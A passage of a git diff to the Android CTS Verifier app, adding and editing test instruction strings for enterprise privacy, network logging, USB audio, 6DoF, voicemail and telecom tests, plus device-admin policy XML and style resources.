+        1) Press the Clear Org button.\n
+        2) Open and fully expand Quick Settings.\n
+        3) Verify that at the bottom of Quick Settings, you are told the device is managed.\n
+        4) Close Quick Settings.\n
+        5) Press the Set Org button.\n
+        6) Open and fully expand Quick Settings.\n
+        7) Verify that at the bottom of Quick Settings, you are told the device is managed by \"Foo, Inc.\".\n
+        8) Tap on the information.\n
+        9) Verify that a dialog informing you about device monitoring opens.\n
+        10) Tap the \"Learn more\" link.\n
+        11) Verify that a screen informing you what your managing organization can do is shown.\n
+        \n
+        Use the Back button to return to this page.
+    </string>
+    <string name="enterprise_privacy_keyguard">Keyguard disclosure</string>
+    <string name="enterprise_privacy_keyguard_info">
+        Please do the following:\n
+        1) Press the Open Settings button to open Settings.\n
+        2) Navigate to \"Security\" &gt; \"Screen lock\" and select the first screen lock type that is not \"None\".\n
+        3) Use the Back button to return to this page.\n
+        4) Press the Clear Org button.\n
+        5) Lock the device.\n
+        6) Verify that on the lock screen, you are told the device is managed.\n
+        7) Unlock the device.\n
+        8) Press the Set Org button.\n
+        9) Lock the device.\n
+        10) Verify that on the lock screen, you are told the device is managed by \"Foo, Inc.\".\n
+        11) Unlock the device.\n
+        12) Repeat steps (1) through (11) for each screen lock type other than \"None\".
+    </string>
+    <string name="enterprise_privacy_add_account">Add account disclosure</string>
+    <string name="enterprise_privacy_add_account_info">
+        Please do the following:\n
+        1) Press the Clear Org button.\n
+        2) Press the Open Settings button.\n
+        3) In the screen that opens, verify that you are told that the device is managed.\n
+        4) Use the Back button to return to this page.\n
+        5) Press the Set Org button.\n
+        6) Press the Open Settings button.\n
+        7) In the screen that opens, verify that you are told that the device is managed by \"Foo, Inc.\".\n
+        8) Tap the \"Learn more\" link.\n
+        9) Verify that a screen informing you what your managing organization can do is shown.\n
+        11) Use the Back button to return to this page.
+    </string>
+    <string name="enterprise_privacy_default_app">CTS Verifier Test</string>
+
+    <!-- Strings for Network Logging Tests -->
+    <string name="device_owner_network_logging_ui">Network Logging UI</string>
+    <string name="device_owner_network_logging_ui_info">Please do the following:\n
+        1) Open and fully expand Quick Settings.\n
+        2) Check that you are told that your device is managed.\n
+        3) Close Quick Settings.\n
+        4) Enable network logging by tapping on the left button below.\n
+        5) Open Quick Settings again. Check that an icon appeared next to the text about device management.\n
+        6) Verify that a notification including the same icon popped up, informing you that network logging has been enabled.\n
+        7) Tap the notification.\n
+        8) Verify that a dialog about device monitoring opens, and informs you about: the name of the app that manages this device, details about the device owner\'s capabilities, and information that the admin has activated network logging and can see all network traffic.\n
+        9) Close the dialog.\n
+        10) Tap the right button below to disable network logging.\n
+        11) Verify that the notification disappeared.\n
+    </string>
+    <string name="device_owner_enable_network_logging_button">Enable Network Logging</string>
+    <string name="device_owner_disable_network_logging_button">Disable Network Logging</string>
+
+    <string name="comp_test">Corporate Owned Managed Profile</string>
+    <string name="comp_provision_profile_dialog_title">Provision work profile</string>
+    <string name="comp_provision_profile_dialog_text">Press the OK button to start the managed provisioning flow, and complete the flow to create a work profile</string>
+
     <!-- Strings for JobScheduler Tests -->
     <string name="js_test_description">This test is mostly automated, but requires some user interaction. You can pass this test once the list items below are checked.</string>
 
     <string name="js_idle_test">Idle Mode Constraints</string>
     <string name="js_start_test_text">Start test</string>
-    <string name="js_idle_instructions">Verify the behaviour of the JobScheduler API for when the device is in idle mode. Simply follow the on-screen instructions.</string>
+    <string name="js_idle_instructions">Verify the behavior of the JobScheduler API for when the device is in idle mode. Simply follow the on-screen instructions.</string>
     <string name="js_idle_description_1">Turn the screen off and then back on in order to begin.</string>
     <string name="js_idle_continue_instruction">
         Switch off screen and wait for it to turn on to continue.
@@ -2704,17 +3224,17 @@
     <string name="js_idle_item_idle_on">Idle job does execute when device is forced into idle.</string>
 
     <string name="js_charging_test">Charging Constraints</string>
-    <string name="js_charging_instructions">Verify the behaviour of the JobScheduler API for when the device is on power and unplugged from power. Simply follow the on-screen instructions.</string>
+    <string name="js_charging_instructions">Verify the behavior of the JobScheduler API for when the device is on power and unplugged from power. Simply follow the on-screen instructions.</string>
     <string name="js_charging_description_1">Plug in the charger if it isn\'t already plugged in.</string>
     <string name="js_charging_off_test">Device not charging will not execute a job with a charging constraint.</string>
     <string name="js_charging_on_test">Device when charging will execute a job with a charging constraint.</string>
     <string name="js_charging_description_2">After the above test has passed, remove the charger to continue. If the above failed, you can simply fail this test.</string>
-    <string name="js_charging_description_3">Device is plugged in. Please wait while it get\s into stable charging state.</string>
-    <string name="js_charging_description_4">There seems to be a problem with your charger. Pleasy try again.</string>
+    <string name="js_charging_description_3">Device is plugged in. Please wait while it gets into stable charging state.</string>
+    <string name="js_charging_description_4">There seems to be a problem with your charger. Please try again.</string>
 
     <string name="js_connectivity_test">Connectivity Constraints</string>
-    <string name="js_connectivity_instructions">Verify the behaviour of the JobScheduler API for when the device has no access to data connectivity. Simply follow the on-screen instructions.</string>
-    <string name="js_connectivity_description_1">Disable WiFi and Cellular data to begin.</string>
+    <string name="js_connectivity_instructions">Verify the behavior of the JobScheduler API for when the device has no access to data connectivity. Simply follow the on-screen instructions.</string>
+    <string name="js_connectivity_description_1">Disable WiFi and Mobile data to begin.</string>
     <string name="js_unmetered_connectivity_test">Device with no connectivity will not execute a job with an unmetered connectivity constraint.</string>
     <string name="js_any_connectivity_test">Device with no connectivity will not execute a job with an unmetered connectivity constraint.</string>
     <string name="js_no_connectivity_test">Device with no connectivity will still execute a job with no connectivity constraints.</string>
@@ -2726,6 +3246,9 @@
     Verify that the bundled TV app launches via Intent and calls the proper API to discover
     3rd-party TV inputs.
     </string>
+    <string name="tv_input_discover_test_third_party_tif_input_support">
+    Does the bundled TV app support third-party TV inputs?
+    </string>
     <string name="tv_input_discover_test_go_to_setup">
     Select the \"Launch TV app\" button and set up the newly installed TV input:
     \"CTS Verifier\".
@@ -2794,8 +3317,8 @@
     Try to unblock the screen by entering PIN; verify that it\'s unblocked.
     </string>
 
-    <string name="tv_parental_control_turn_off_disabled">No</string>
-    <string name="tv_parental_control_turn_off_enabled">Yes</string>
+    <string name="tv_yes">Yes</string>
+    <string name="tv_no">No</string>
     <string name="tv_launch_tv_app">Launch TV app</string>
     <string name="tv_launch_epg">Launch EPG</string>
     <string name="tv_launch_setup">Launch setup</string>
@@ -2936,6 +3459,36 @@
     <string name="audio_routingnotification_trackRoutingMsg">AudioTrack rerouting</string>
     <string name="audio_routingnotification_recordRoutingMsg">AudioRecord rerouting</string>
 
+    <!-- USB Audio Peripheral Tests -->
+    <string name="profileLabel">Profile</string>
+    <string name="connectedPeripheral">Connected Peripheral</string>
+    <string name="audio_uap_attribs_test">USB Audio Peripheral Attributes Test</string>
+    <string name="uapPeripheralProfileStatus">Peripheral Profile Status</string>
+
+    <string name="audio_uap_play_test">USB Audio Peripheral Play Test</string>
+    <string name="uapPlayTestInstructions">Connect the USB Audio Interface Peripheral and press the
+        PLAY button below. Verify that a tone is correctly played.</string>
+    <string name="audio_uap_play_playBtn">Play</string>
+    <string name="audio_uap_play_stopBtn">Stop</string>
+
+    <string name="audio_uap_record_test">USB Audio Peripheral Record Test</string>
+    <string name="uapRecordTestInstructions">Connect the USB Audio Peripheral and press the RECORD or
+        RECORD LOOPBACK button below. Verify that a tone is correctly played.</string>
+    <string name="audio_uap_record_recordBtn">Record</string>
+    <string name="audio_uap_record_recordLoopbackBtn">Record Loopback</string>
+    <string name="audio_uap_record_stopBtn">Stop</string>
+
+    <string name="audio_uap_buttons_test">USB Audio Peripheral Buttons Test</string>
+    <string name="uapButtonTestInstructions">Connect the USB Audio headset with buttons
+        and press each transport/media button in turn.</string>
+
+    <string name="uapButtonsBtnALbl">Button A - play/pause</string>
+    <string name="uapButtonsBtnBLbl">Button B - volume up (+)</string>
+    <string name="uapButtonsBtnCLbl">Button C - volume down (-)</string>
+    <string name="uapButtonsBtnDLbl">Button D - voice assist</string>
+    <string name="uapButtonsRecognized">Recognized</string>
+    <string name="uapButtonsNotRecognized">Not Recognized</string>
+
     <!-- Audio general text -->
     <string name="audio_general_headset_port_exists">Does this device have a headset port?</string>
     <string name="audio_general_headset_no">No</string>
@@ -3064,25 +3617,267 @@
     <string name="unprocessed_test_usb_background_btn">Test</string>
     <string name="unprocessed_test_usb_background_result">Results...</string>
 
-    <string name="unprocessed_test_usb_noise_instructions">TEST USB NOISE: Connect USB microphone and position it right next to microphone under test. 
+    <string name="unprocessed_test_usb_noise_instructions">TEST USB NOISE: Connect USB microphone and position it right next to microphone under test.
     Position speakers 40 cms from device under test. Press [PLAY] to play broadband white noise. Press [TEST]</string>
     <string name="unprocessed_test_usb_noise_btn">Test</string>
     <string name="unprocessed_test_usb_noise_result">Results...</string>
 
     <string name="unprocessed_test_global_result">Global Results...</string>
 
-    <!-- Strings for voicemail broadcast test -->
-    <string name="voicemail_broadcast_test">Voicemail Broadcast Test</string>
-    <string name="voicemail_broadcast_instructions">This test verifies that the default dialer can intercept the voicemail notification. The test must be conducted on a SIM with visual voicemail disabled</string>
-    <string name="voicemail_set_default_dialer_description">Before the test, the CTS verifier should be set to the default dialer</string>
-    <string name="voicemail_set_default_dialer_button">Set CTS verifier as default dialer"</string>
-    <string name="voicemail_leave_voicemail">Send a voicemail to the device, CTS verifier should receive a voicemail notification broadcast</string>
-    <string name="voicemail_broadcast_received">Voicemail broadcast Received</string>
+    <!-- Strings for 6DoF test -->
+    <string name="six_dof_test">6DoF Test</string>
+    <string name="action_settings">Settings</string>
+    <string name="start">Start</string>
+    <string name="motion_tracking_permission">"Motion Tracking permission needed!"</string>
+    <string name="translations">Translations:</string>
+    <string name="rotations">Rotations:</string>
+    <string name="action_place_marker">Place Marker</string>
+    <string name="markers">Markers:\n</string>
+    <string name="title_activity_cts">CTSActivity</string>
+    <string name="stop">Stop!</string>
+    <string name="stop_message">Mark where you are standing with something like a piece of card and
+        then press ready to record this waypoint
+    </string>
+    <string name="ready">Ready</string>
+    <string name="initial">First Waypoint</string>
+    <string name="phase1_initial_message">When you are ready to place your first waypoint, place a
+        marker at the devices current location. Use something that will allow you to put the device
+        in the exact same position and orientation on the second lap. Then, while the device is on
+        the marker, click the turquoise action button to record the first waypoint.\n\nStart walking
+        in a direction. The button will appear again when you have walked far enough. Place a marker
+        at the device\'s location and press the button to record a waypoint. You cannot place
+        waypoints in a straight line, so for your 3rd waypoint turn 90 degrees and walk in a
+        direction that will make a triangle out of your 3 waypoints.
+    </string>
+    <string name="phase2_initial_message">You now need to visit each waypoint, clicking the
+        turquoise action button at each one. You need to reach each waypoint in 20 seconds. While
+        you are on your way to the waypoints, the camera preview will rotate. You will need to
+        rotate the device to match the rotation of the camera preview. A box will be shown to help
+        you. It shows the device\'s current rotation and will change color based on whether you are
+        close enough to the required rotation. Red if you are failing, green if you are passing.
+        When you have reached the next waypoint, the device can be returned to its original
+        rotation.
+    </string>
+    <string name="last">Go back to the first waypoint</string>
+    <string name="last_message">Now go back to the first waypoint and press ready to finish the
+        first lap.
+    </string>
+    <string name="got_it">Got it!</string>
+    <string name="lap2_instructions">Now, go to each waypoint (including your initial
+        one) and click the turquoise action button. Then move on to the next waypoint and do the
+        same.\nThe last waypoint should be the first waypoint again.
+    </string>
+    <string name="test1_pass2">Pass 2</string>
+    <string name="results">Results</string>
+    <string name="overall_instructions">These tests are designed to verify the correctness and
+        accuracy of a 6DoF enabled device. There will be 3 phases to these tests, each testing a
+        different part of 6DoF functionality.
+    </string>
+    <string name="phase1_description">This first test will test the accuracy of the device. It will
+        ask you to mark out 4 waypoints and then return to the original waypoint to complete the
+        lap. After this you will then need to do another lap without any HUD information. At the
+        end, the pairs of waypoints and the path you travelled will be compared and you will be
+        given a result.
+    </string>
+    <string name="phase2_description">This test will test the robustness of the device. Using the
+        same 4 waypoints as before, you will need to do a lap, reaching each waypoint in the
+        allotted time.\nWhile you are on your way to the waypoints, the camera preview will rotate.
+        You will need to rotate the device to match the rotation of the camera preview. A box will
+        be shown to help you. It shows the device\'s current rotation and will change color based
+        on whether you are close enough to the required rotation. Red if you are failing, green if
+        you are passing. When you have reached the next waypoint, the device can be returned to
+        its original rotation.
+    </string>
+    <string name="phase3_description">Now we will test the AR capability of the device. Again, you
+        will need to do a lap of the waypoints, but this time between each waypoint the device will
+        overlay hoops that you must pass the device through as you go along.
+    </string>
+    <string name="distance">Distance from last waypoint:</string>
+    <string name="obj_return_to_initial_waypoint">Return to initial waypoint</string>
+    <string name="waypointPlaced">Waypoint placed!</string>
+    <string name="undo">undo</string>
+    <string name="distance_remaining">Distance Remaining:\n</string>
+    <string name="waypoint_differences">Waypoints</string>
+    <string name="path_differences">Paths</string>
+    <string name="error_distance">Not far away enough from other waypoints!</string>
+    <string name="error_area">Not enough area covered.</string>
+    <string name="passed">Passed!</string>
+    <string name="failed">Failed!</string>
+    <string name="test_failed">Test Failed!</string>
+    <string name="error_start_point">Not close enough to initial waypoint!</string>
+    <string name="waypoint_distance">Waypoint %1$s: %2$s</string>
+    <string name="total">Total %1$s</string>
+    <string name="path">Path %1$s: %2$s</string>
+    <string name="fail">Fail</string>
+    <string name="pass">Pass</string>
+    <string name="info">Info</string>
+    <string name="coming_soon">Coming soon!</string>
+    <string name="motion_tracking_invalid_state">Motion Tracking has entered an invalid state
+    </string>
+    <string name="action_xml">XML</string>
+    <string name="error_null_fragment">UI fragment was null, couldn\'t do callback to listener
+    </string>
+    <string name="error_retained_fragment_null">DataFragment is null</string>
+    <string name="time_remaining">%1$s seconds remaining to get to next waypoint</string>
+    <string name="action_skip_to_2nd">Skip to 2nd Test</string>
+    <string name="failed_pause_resume">Test Failed because Test Activity was paused</string>
+    <string name="action_overlapping_outlines">Overlapping Outlines</string>
+    <string name="action_overlapping_filled">Overlapping Filled</string>
+    <string name="time">Time</string>
+    <string name="rotation_result">Rotation</string>
+    <string name="action_separate_outlines">Separate Outlines</string>
+    <string name="action_separate_filled">Separate Filled</string>
+    <string name="action_one">One Rectangle</string>
+    <string name="rotation_mode">Change rotation mode</string>
+    <string name="phase3_initial_message">Go through the rings as you visit waypoints.</string>
+    <string name="rings">Rings</string>
+    <string name="rings_entered">Rings collected %1$s/%2$s</string>
+    <string name="error_rings_not_entered">You haven\'t collected all the rings in this path!
+    </string>
+    <string name="save">Save</string>
+
+    <string-array name="initial_waypoint">
+        <item>Find a place for your first waypoint</item>
+        <item>Go to initial waypoint</item>
+    </string-array>
+
+    <string-array name="next_waypoint">
+        <item>Find a suitable place for waypoint 0</item>
+        <item>Go to waypoint 0</item>
+    </string-array>
+
+    <string-array name="phase">
+        <item>Phase 1</item>
+        <item>Phase 2</item>
+        <item>Phase 3</item>
+    </string-array>
+
+    <string-array name="phase_descriptions">
+        <item>@string/phase1_description</item>
+        <item>@string/phase2_description</item>
+        <item>@string/phase3_description</item>
+    </string-array>
+
+    <!-- Strings for setting and restoring default dialer for voicemail tests -->
     <string name="voicemail_restore_default_dialer_description">(Optional) restore the default dialer setting</string>
     <string name="voicemail_restore_default_dialer_no_default_description">(Optional) restore the default dialer by going to settings-> apps -> cogwheel -> Phone app</string>
     <string name="voicemail_restore_default_dialer_button">Restore the default dialer"</string>
     <string name="voicemail_default_dialer_already_set">Default dialer already set</string>
     <string name="voicemail_default_dialer_already_restored">Default dialer already restored</string>
+    <string name="voicemail_set_default_dialer_description">Before the test, the CTS verifier should be set to the default dialer</string>
+    <string name="voicemail_set_default_dialer_button">Set CTS verifier as default dialer"</string>
+
+    <!-- Strings for voicemail broadcast test -->
+    <string name="voicemail_broadcast_test">Voicemail Broadcast Test</string>
+    <string name="voicemail_broadcast_instructions">This test verifies that the default dialer can intercept the voicemail notification. The test must be conducted on a SIM with visual voicemail disabled</string>
+    <string name="voicemail_leave_voicemail">Send a voicemail to the device, CTS verifier should receive a voicemail notification broadcast</string>
+    <string name="voicemail_broadcast_received">Voicemail broadcast Received</string>
+
+    <!-- Strings for VisualVoicemailService test -->
+    <string name="visual_voicemail_service_test">VisualVoicemailService Test</string>
+    <string name="visual_voicemail_service_instructions">This test verifies that the VisualVoicemailService can receive SIM inserted and removed events</string>
+    <string name="visual_voicemail_service_remove_sim_before_test">Removed the SIM before starting the test. This test only applies to devices with hotswap-able SIM</string>
+    <string name="visual_voicemail_service_remove_sim_ok">Ok</string>
+    <string name="visual_voicemail_service_remove_sim_not_applicable">Not applicable</string>
+    <string name="visual_voicemail_service_insert_sim">Insert SIM</string>
+    <string name="visual_voicemail_service_insert_sim_received">Service connection event received</string>
+    <string name="visual_voicemail_service_remove_sim">Remove SIM</string>
+    <string name="visual_voicemail_service_remove_sim_received">SIM removal event received</string>
+
+    <!-- Strings for CallSettingsCheck test -->
+    <string name="call_settings_check_test">Hide voicemail in call settings test</string>
+    <string name="call_settings_check_instructions">This test verifies that the default dialer can
+        hide voicemail settings in the call settings menu by using
+        TelephonyManager.METADATA_HIDE_VOICEMAIL_SETTINGS_MENU
+    </string>
+    <string name="open_call_settings_explanation">Tap the button, and verify that \"voicemail\" does
+        not exist in the call settings
+    </string>
+    <string name="open_call_settings">Open call settings</string>
+    <string name="voicemail_hidden">\"Voicemail\" does not exist</string>
+    <string name="voicemail_not_hidden">\"Voicemail\" exists</string>
+
+    <!-- Strings for DialerIncomingCall test -->
+    <string name="dialer_incoming_call_test">Dialer Receives Incoming Call</string>
+    <string name="dialer_incoming_call_test_instructions">This test verifies that the default dialer
+      can receive incoming calls after it has been set.
+    </string>
+    <string name="dialer_incoming_call_detected">Detected the incoming call. Activity passed.</string>
+    <string name="dialer_check_incoming_call_explanation">Call the device.</string>
+    <string name="dialer_check_incoming_call">Verify Call Received</string>
+
+    <!-- Strings for VoicemailSettingsCheck test -->
+    <string name="ringtone_settings_check_test">Hide settings in voicemail test</string>
+    <string name="ringtone_settings_check_instructions">This test verifies that voicemail settings
+        accessible with public API can be hidden when launching
+        TelephonyManager.ACTION_CONFIGURE_VOICEMAIL with EXTRA_HIDE_PUBLIC_SETTINGS.
+    </string>
+    <string name="open_voicemail_settings_explanation">Tap the button, ringtone and virbration
+        settings does not exist in the voicemail settings.
+    </string>
+    <string name="open_voicemail_settings">Open voicemail settings</string>
+    <string name="ringtone_hidden">Ringtone settings does not exist</string>
+    <string name="ringtone_not_hidden">Ringtone settings exists</string>
+
+    <!-- Strings for DialerShowsHunOnIncomingCallActivity test -->
+    <string name="dialer_shows_hun_test">Dialer Shows HUN on Incoming Call</string>
+    <string name="dialer_shows_hun_test_instructions">This test verifies that the default dialer
+        shows a heads up notification on incoming call, and that only one notification is shown.
+    </string>
+    <string name="dialer_shows_hun_explanation">Call the device.
+        Check the box if the heads up notification was shown containing the text
+        \"CTS Incoming Call Notification\", and only one incoming call notification was shown.
+    </string>
+    <string name="dialer_shows_hun_check_box">HUN shown and meets criteria specified above.</string>
+    <string name="dialer_incoming_call_hun_teaser">Incoming Call</string>
+    <string name="dialer_incoming_call_hun_desc">CTS Incoming Call Notification</string>
+
+    <!-- Strings for DialerImplementsTelecomIntentsActivity test -->
+    <string name="dialer_telecom_intents_test">System Implements Telecom Intents</string>
+    <string name="dialer_telecom_intents_test_instructions">This test verifies that the system handles
+        the specified Telecom Intents.
+    </string>
+    <string name="dialer_check_intents_implemented_explanation">Press the buttons below to launch settings activities.
+    Check the associated box if the activity loads and was launched succesfully.</string>
+    <string name="dialer_telecom_intents_call_settings">Launch call settings</string>
+    <string name="dialer_telecom_intents_short_sms">Launch short sms answer settings</string>
+    <string name="dialer_telecom_intents_calling_accounts">Launch calling accounts settings</string>
+    <string name="dialer_telecom_intents_accessibility_settings">Launch accessibility settings</string>
+    <string name="dialer_check_intents_check_box">Setting Launched</string>
+
+    <!-- USB Audio Peripheral Tests -->
+    <string name="usbaudio_results_text">Results...</string>
+
+    <!-- USB Audio Peripheral Attributes Test -->
+    <string name="usbaudio_attribs_test"> USB Audio Peripheral Attributes Test</string>
+    <string name="usbaudio_attribs_info">
+        This test requires that you have connected a mandated USB Audio Interface peripheral.
+        If the discovered attributes of the peripheral matches the known attributes of the
+        peripheral the test passes and the \"pass\" button will be enabled.
+       </string>
+
+    <!-- USB Audio Peripheral Play Test -->
+    <string name="usbaudio_play_test"> USB Audio Peripheral Play Test</string>
+    <string name="usbaudio_play_info">
+        This test requires that you have connected a mandated USB Audio Interface peripheral and
+        some way to monitor the output. Press the \"Play\" button and verify that a tone is produced.
+       </string>
+
+    <!-- USB Audio Peripheral Record Test -->
+    <string name="usbaudio_record_test"> USB Audio Peripheral Record Test</string>
+    <string name="usbaudio_record_info">
+        This test requires that you have connected a mandated USB Audio Interface peripheral.
+        Connect the outputs to the inputs (with patch cables). Start playback by pressing the
+        \"Record Loopback\" button and verify that the recorded signal is displayed in the wave
+        display view. ()It may be necessary to adjust the input controls on the peripheral).
+       </string>
+
+    <!-- USB Audio Peripheral Buttons Test -->
+    <string name="usbaudio_buttons_test"> USB Audio Peripheral Buttons Test</string>
+    <string name="usbaudio_buttons_info">
+        This test requires that you have connected a mandated USB Audio headset. Press each
+        \"transport\" button and verify that it is recognized by the test.
+       </string>
 
     <!-- Telecom tests -->
     <string name="telecom_enable_phone_account_test"> Telecom Enable Phone Account Test</string>
@@ -3099,4 +3894,72 @@
         Once you have completed this step, return here and click the Confirm button.
     </string>
     <string name="telecom_enable_phone_account_confirm_button">Confirm</string>
+
+    <string name="telecom_outgoing_call_test">Telecom Outgoing Call Test</string>
+    <string name="telecom_outgoing_call_test_info">This test verifies that the default
+        dialer on the system is able to make a call using a third-party ConnectionService.</string>
+    <string name="telecom_outgoing_call_step_1">
+        Click the button below to register a test PhoneAccount and ConnectionService. You will be
+        taken to the phone account selection screen. Please enable the "CTS Verifier Test"
+        account and select it as the default account for outgoing calls. Once you have completed
+        this step, return here and click the "Confirm Phone Account" button.
+    </string>
+    <string name="telecom_outgoing_call_register_enable_phone_account_button">
+        Register and Enable Phone Account
+    </string>
+    <string name="telecom_outgoing_call_confirm_register_button">Confirm Phone Account</string>
+    <string name="telecom_outgoing_call_step_2">
+        Click the button below to dial an outgoing call. This will populate the default dialer
+        app with a dummy phone number. Initiate the phone call from the dialer app, then return
+        to this screen while the call is still in progress.
+    </string>
+    <string name="telecom_outgoing_call_dial_button">Dial</string>
+    <string name="telecom_outgoing_call_step_3">
+        Click the button below to confirm that the ongoing outgoing call was correctly made.
+    </string>
+    <string name="telecom_outgoing_call_confirm_button">Confirm</string>
+
+    <string name="telecom_incoming_call_test">Telecom Incoming Call Test</string>
+    <string name="telecom_incoming_call_test_info">This test verifies that the default
+        dialer on the system is able to receive a call from a third-party connection service.
+    </string>
+    <string name="telecom_incoming_call_step_1">
+        Click the button below to register a test PhoneAccount and ConnectionService. You will be
+        taken to the phone account selection screen. Please enable the "CTS Verifier Test"
+        account. Once you have completed this step, return here and click the
+        "Confirm Phone Account" button.
+    </string>
+    <string name="telecom_incoming_call_register_enable_phone_account_button">
+        Register and Enable Phone Account
+    </string>
+    <string name="telecom_incoming_call_confirm_register_button">Confirm Phone Account</string>
+    <string name="telecom_incoming_call_step_2">
+        Click the button below to initiate an incoming call. The phone should start ringing.
+        Answer the call, confirm that you can hear an audio clip with Eisenhower\'s voice, then
+        return to this screen while the call is still ongoing.
+    </string>
+    <string name="telecom_incoming_call_dial_button">Dial</string>
+    <string name="telecom_incoming_call_step_3">
+        Click the button below to confirm that the ongoing incoming call was properly answered and
+        that audio is audible.
+    </string>
+    <string name="telecom_incoming_call_confirm_button">Confirm</string>
+    <string name="telecom_incoming_self_mgd_test"> Incoming Self-Managed Connection Test</string>
+    <string name="telecom_incoming_self_mgd_info">
+        This test verifies that incoming calls from a Self-Managed Connection Service will trigger
+        a Telecom-managed incoming call UI when there is already an ongoing call on the device.
+    </string>
+    <string name="telecom_incoming_self_mgd_step_1">
+        Click the button below to register a test self-managed ConnectionService.
+    </string>
+    <string name="telecom_incoming_self_mgd_register_button">Register Self-Managed ConnectionService</string>
+    <string name="telecom_incoming_self_mgd_step_2">
+        Click the button below to test that the system incoming call notification shows.  When the
+        notification shows, "answer" the call.
+    </string>
+    <string name="telecom_incoming_self_mgd_show_ui_button">Show System Incoming UI</string>
+    <string name="telecom_incoming_self_mgd_step_3">
+        Click the button below to confirm that the incoming call was answered.
+    </string>
+    <string name="telecom_incoming_self_mgd_confirm_answer_button">Confirm Answer</string>
 </resources>
diff --git a/apps/CtsVerifier/res/values/styles.xml b/apps/CtsVerifier/res/values/styles.xml
index 0e05817..64fd4fe 100644
--- a/apps/CtsVerifier/res/values/styles.xml
+++ b/apps/CtsVerifier/res/values/styles.xml
@@ -13,4 +13,9 @@
     <style name="RootLayoutPadding">
         <item name="android:padding">10dip</item>
     </style>
+    <style name="OverlayTheme" parent="android:Theme.Dialog">
+        <item name="android:windowNoTitle">true</item>
+        <item name="android:windowIsTranslucent">true</item>
+        <item name="android:windowBackground">@android:color/transparent</item>
+    </style>
 </resources>
diff --git a/apps/CtsVerifier/res/xml/accessory_filter.xml b/apps/CtsVerifier/res/xml/accessory_filter.xml
index 21caaa4..4a1d779 100644
--- a/apps/CtsVerifier/res/xml/accessory_filter.xml
+++ b/apps/CtsVerifier/res/xml/accessory_filter.xml
@@ -14,5 +14,5 @@
      limitations under the License.
 -->
 <resources>
-    <usb-accessory manufacturer="Android CTS" model="CTS USB Accessory" version="1.0" />
+    <usb-accessory />
 </resources>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/xml/device_admin_comp_profile.xml b/apps/CtsVerifier/res/xml/device_admin_comp_profile.xml
new file mode 100644
index 0000000..784258d
--- /dev/null
+++ b/apps/CtsVerifier/res/xml/device_admin_comp_profile.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<!-- BEGIN_INCLUDE(meta_data) -->
+<device-admin xmlns:android="http://schemas.android.com/apk/res/android">
+    <uses-policies>
+        <wipe-data />
+        <watch-login />
+    </uses-policies>
+</device-admin>
+<!-- END_INCLUDE(meta_data) -->
diff --git a/apps/CtsVerifier/res/xml/filepaths_admin.xml b/apps/CtsVerifier/res/xml/filepaths_admin.xml
new file mode 100644
index 0000000..380431b
--- /dev/null
+++ b/apps/CtsVerifier/res/xml/filepaths_admin.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<paths xmlns:android="http://schemas.android.com/apk/res/android">
+    <external-files-path path="apk/" name="apk" />
+</paths>
diff --git a/apps/CtsVerifier/res/xml/tapjacking_device_admin.xml b/apps/CtsVerifier/res/xml/tapjacking_device_admin.xml
new file mode 100644
index 0000000..d884663
--- /dev/null
+++ b/apps/CtsVerifier/res/xml/tapjacking_device_admin.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<device-admin xmlns:android="http://schemas.android.com/apk/res/android">
+    <uses-policies>
+        <limit-password />
+        <watch-login />
+        <encrypted-storage />
+        <wipe-data />
+        <reset-password />
+        <disable-keyguard-features />
+        <force-lock />
+        <limit-password />
+    </uses-policies>
+</device-admin>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java b/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
index b6908a9..1629e1b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
@@ -32,10 +32,13 @@
 
 import java.io.BufferedOutputStream;
 import java.io.File;
+import java.io.FileInputStream;
 import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
 import java.lang.System;
+import java.nio.file.Files;
+import java.nio.file.Paths;
 import java.text.SimpleDateFormat;
 import java.util.Date;
 import java.util.Locale;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsBackupHelper.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsBackupHelper.java
deleted file mode 100644
index 2527d57..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsBackupHelper.java
+++ /dev/null
@@ -1,149 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
